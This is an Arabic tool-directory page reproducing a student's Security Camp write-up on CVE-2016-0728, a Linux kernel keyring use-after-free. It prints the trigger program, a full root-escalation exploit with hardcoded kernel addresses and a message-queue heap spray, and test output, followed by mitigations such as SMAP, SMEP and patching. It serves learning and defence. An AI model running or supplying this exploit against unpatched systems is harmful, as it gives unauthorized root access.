Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/hal0taso/cve-2016-0728
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

استغلال وملخص cve-2016-0728

عرض المستودع
1منذ 9 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2016-0728

مهمة Seccamp 2017

البرنامج التالي يستغل ثغرة موجودة في نواة لينكس من الإصدار 3.8 إلى 4.4. اشرح العطل الذي يحدث نتيجة تنفيذ هذا البرنامج. كما قم بكتابة استغلال (exploit) يرفع الصلاحيات إلى صلاحية الجذر (root) عبر استغلال هذه الثغرة بشكل أعمق، واشرح بيئة التشغيل التي جرّبتها عليها ونقاط الابتكار لديك. بالإضافة إلى ذلك، اذكر أكبر عدد ممكن من الطرق للتخفيف من مثل هذا الهجوم واشرحها. ليس من الضروري أن تفهم كل شيء بشكل كامل، فاكتب بكلماتك الخاصة المعلومات التي تمكنت من فهمها حتى الآن، ومراحل المحاولات، وما شعرت به. وإذا كانت هناك مواقع أو مراجع استعنت بها، فاذكر مصادرها بوضوح.

root@kitploit:~
#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

مقدمة

بيئة التحقق هي كما يلي:

root@kitploit:~
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

لقد عرفت هذه الثغرة لأول مرة، وسأصف ما اكتشفته أثناء البحث وما جربته في تلك العملية. أولاً، سأشرح خدمة حفظ المفاتيح المستخدمة في هذا البرنامج، ثم ثغرة Use-After-Free التي يستغلها هذا البرنامج وما سبب حدوثها في البرنامج، وبعدها سأصف ما العطل الذي ينجم عن ذلك. هذه الثغرة مسجلة برقم CVE-2016-0728، واستعنت بالموقع التالي كمرجع لملخصها.

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

كما أن خدمة حفظ المفاتيح في لينكس كانت أيضاً جديدة بالنسبة لي، فاستعنت بصفحة ويب IBM التمهيدية لخدمة حفظ المفاتيح في لينكس

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

وبكود مصدر نواة لينكس 3.19 التي هي بيئة التحقق

https://www.kernel.org/

ولإرسال رسائل النواة إلى نظام التشغيل المضيف عبر الشبكة استعنت بكتاب DEBUG HACKS - تقنيات وأدوات لإتقان التصحيح (O'REILLY).

هذا البرنامج (يُسمى فيما يلي leak.c) يستغل خطأً موجوداً في خدمة حفظ المفاتيح في لينكس، وهذا الخطأ يؤدي إلى ثغرة Use-After-Free. ثغرة Use-After-Free هي ثغرة يمكن من خلالها تنفيذ كود عشوائي عندما تتم الإشارة إلى عنوان ذاكرة كومة (heap) محرَّر بسبب تناقض في البرنامج. أولاً، سأشرح استدعاء النظام keyctl() الذي يستخدمه هذا البرنامج، ثم أصف الخطأ الموجود فيه.

يمكن لكل عملية إنشاء حلقة مفاتيح (keyring) خاصة بها للجلسة الحالية عن طريق استدعاء النظام keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). يمكن مشاركة حلقة المفاتيح هذه بين العمليات من خلال الإشارة إلى اسمها name. إذا كانت العملية تملك بالفعل حلقة مفاتيح جلسة، فإن استدعاء النظام هذا يستبدل حلقة مفاتيح الجلسة بحلقة مفاتيح جديدة. ولأنني أردت فهم هذا السلوك بشكل أفضل، اطلعت على دالة join_session_keyring في كود مصدر النواة /security/keys/process_keys.c. وهي تبدو كالبرنامج التالي. عند استبدال حلقة مفاتيح الجلسة بحلقة مفاتيح جلسة جديدة، يتم تخطي دالة تسمى key_put. دالة key_put هي دالة تتخلى عن المرجع (reference) لحلقة المفاتيح المعطاة في الوسيط. وبتخطيها، يبقى مرجع إلى حلقة المفاتيح الجديدة موجوداً، وهذا يؤدي إلى ثغرة Use-After-Free.

عند مشاركة حلقة المفاتيح هذه بين العمليات، يزداد عدد المراجع الداخلي المخزن في العضو usage من البنية (struct) key. العضو usage من النوع atomic_t، وهو في الواقع معرف (typedef) كبنية تحتوي على متغير واحد من النوع int. كما أنه لا توجد آلية لمنع تجاوز (overflow) هذا العضو usage، لذلك يمكن بزيادة هذا العضو باستمرار تجاوزه حتى يصل إلى 0. عندما يصبح العضو usage صفراً، يتم تحرير حلقة المفاتيح عن طريق جمع القمامة (garbage collection) داخل النظام الفرعي لحلقات المفاتيح. وبوضع وحدة نواة تقوم بأي معالجة أخرى نختارها من فضاء المستخدم في هذه المنطقة المحرَّرة، يمكن تنفيذ تلك المعالجة بصلاحيات النواة.

في الموقع المرجعي، عند تجميع leak.c مع مكتبة keyutils وتنفيذه، يُسجَّل keyring جلسة باسم leaked_key في /proc/keys ويظهر أنه تمت الإشارة إليه 100 مرة. لقد تحققت من ظهور leaked-keyring كما يلي قبل وبعد تنفيذ هذا البرنامج.

root@kitploit:~
# 実行前
$ cat /proc/keys
$ ./leak
# 実行後
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

ومع ذلك، لم يظهر leaked-keyring في بيئة التحقق. جرّبت تغيير شرط حلقة for إلى رقم كبير مثل i < 0x1000000، فظهر leaked-keyring أثناء تنفيذ البرنامج. هذه المرة، ينجح الهجوم عن طريق تجاوز العضو usage لتحرير المفتاح ووضع كائن نواة جديد مكانه. لذلك قررت أن أجرب ذلك فعلياً. استعنت بكود الاستغلال (exploit) من الموقع التالي:

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
}

نتيجة التنفيذ، لم تتغير الصلاحيات، وتم تشغيل شل بصلاحيات المستخدم المنفذ. أول ما فكرت فيه هو أن بيئتي محدَّثة وأن التصحيح (patch) مطبَّق بالفعل. وذلك لأن هذه الثغرة أُعلنت حوالي يناير 2016، وقد قمت بتحديث بيئتي قبل ذلك. لذلك جربت مرة أخرى في بيئة افتراضية جديدة (kernel 3.18.52) مع تغيير القيم الثابتة، لكن الأمر لم ينجح. كما وردت تقارير بأن آليتي حماية الذاكرة SMAP وSMEP إذا كانتا مفعّلتين فإن الاستغلال لا يعمل بشكل صحيح. SMEP هي آلية أمنية تمنع تنفيذ الكود من عناوين فضاء المستخدم في وضع النواة، وSMAP هي آلية أمنية تمنع الوصول إلى عناوين فضاء المستخدم في وضع النواة. في تعليقات gist، كان هناك كود تحقق منه عدة أشخاص بأنه على kernel 3.18.25 يتم تشغيله بمعرف مستخدم (uid) صفر لكن الجهاز الافتراضي يتجمد، فقررت تجربته. الرابط هو هذا (https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830). قمت ببناء النواة (kernel 3.18.25) مع تعطيل كل من SMAP وSMEP وجربت عليها. بيئة التنفيذ كما يلي. قمت بتعطيل SMAP في ملف .config أثناء البناء، وقمت بتعطيل SMEP أيضاً في ملف إعدادات grub (/boot/grub/grub.cfg).

root@kitploit:~
$ uname -r
3.18.25

عند تنفيذ leak في هذه البيئة، أصبح /proc/keys كما يلي:

root@kitploit:~
$ cat /proc/keys
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1

يمكن ملاحظة كائن keyring تماماً كما في الموقع المرجعي. وعند تنفيذ الاستغلال، كانت النتيجة هنا أيضاً تشغيل شل بصلاحيات مستخدم البرنامج المنفذ. لذلك راقبت /proc/keys باستخدام الأمر watch بفاصل زمني قدره 0.1 ثانية أثناء تنفيذ الاستغلال، فتبين أنه إذا لم يصبح العضو usage صفراً بالضبط (عند تحديد keyring بنفس اسم keyring الذي تم إنشاؤه عند مقاطعة البرنامج في المنتصف وتشغيل الاستغلال، فإن العضو usage لذلك الكائن يزداد مرة أخرى بعد التجاوز)، فإن join_session_keyring ينشئ كائن keyring جديداً، ففكرت أن عداد المراجع يجب ضبطه ليصبح صفراً بالضبط حتى يتم تحرير كائن المفتاح. عندما وصل عداد المراجع إلى الصفر، أصبح كائن keyring غير مرئي بالفعل، ويُعتبر أنه تم تحريره. بعد عدة محاولات متتالية، وصلت إلى مرحلة يتم فيها الحصول على صلاحية الجذر (uid=0, euid=0) لكن بعد ذلك مباشرة يحدث انهيار نواة (kernel panic) ويتجمد الجهاز الافتراضي.

root@kitploit:~
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed

ثم حاولت نقل رسائل النواة إلى نظام التشغيل المضيف عبر netconsole وقراءة السجلات، لكنني بحثت عن العناوين الثابتة مثل commit_creds أو kernel_prepare_cred ولم أجد المواضع المقابلة. في النهاية، لم أتمكن من الاستيلاء على صلاحية الجذر وتشغيل شل.

مما سبق، يمكن جعل الهجوم باستخدام هذه الثغرة أكثر صعوبة من خلال تفعيل آليات حماية النواة في المعالج مثل SMAP وSMEP. كما أنه بعد فترة من نشر الثغرة، تقدم توزيعات لينكس المختلفة تحديثات للنواة تتضمن التصحيحات، لذلك يمكن منع الهجوم بتطبيق تلك التحديثات. أثناء بحثي في هذه الثغرة، لاحظت أنه عند تنفيذ كود PoC على kernel 3.18.52 كنت أراقب /proc/keys وكان العضو usage لكائن keyring يتزايد ويتناقص بشكل متكرر، فاعتقدت أنه ربما بين kernel 3.18.25 و kernel 3.18.52 حدث تغيير في كود keyring أو في دالة abort_creds المستخدمة في دالة join_session_keyring، مما غيّر آلية زيادة عداد المراجع (هنا العضو usage). وذلك لأن الموقع المرجعي ذكر أن عداد المراجع usage يزداد وينقص مرتين داخل join_session_keyring، وأن الأهم من ذلك أن abort_creds تقوم بعملية طرح (إنقاص) عداد المراجع بشكل غير متزامن بعد معالجة تسمى وظيفة RCU (RCU job).

عندما بحثت في هذه الثغرة وعرفت أنه يمكن رفع الصلاحيات من مستخدم عادي إلى مستخدم متميز، شعرت بالدهشة مع بعض القلق أيضاً، لكن أثناء التحقق من كود PoC للاستغلال والبحث فيه، عرفت أن المهاجم يجب أن يحدد إصدار النواة بدقة، وأنه إذا كانت SMEP أو SMAP مفعّلتين فيجب عليه أيضاً تجاوزهما، وأن النجاح غير مضمون، وفي حال الفشل يحدث انهيار نواة مما يكشف الهجوم، فهناك أمور كثيرة غير مريحة للمهاجم، فشككت في ما إذا كانت هذه الثغرة مفيدة فعلياً كأسلوب هجوم.

تنزيل الأداة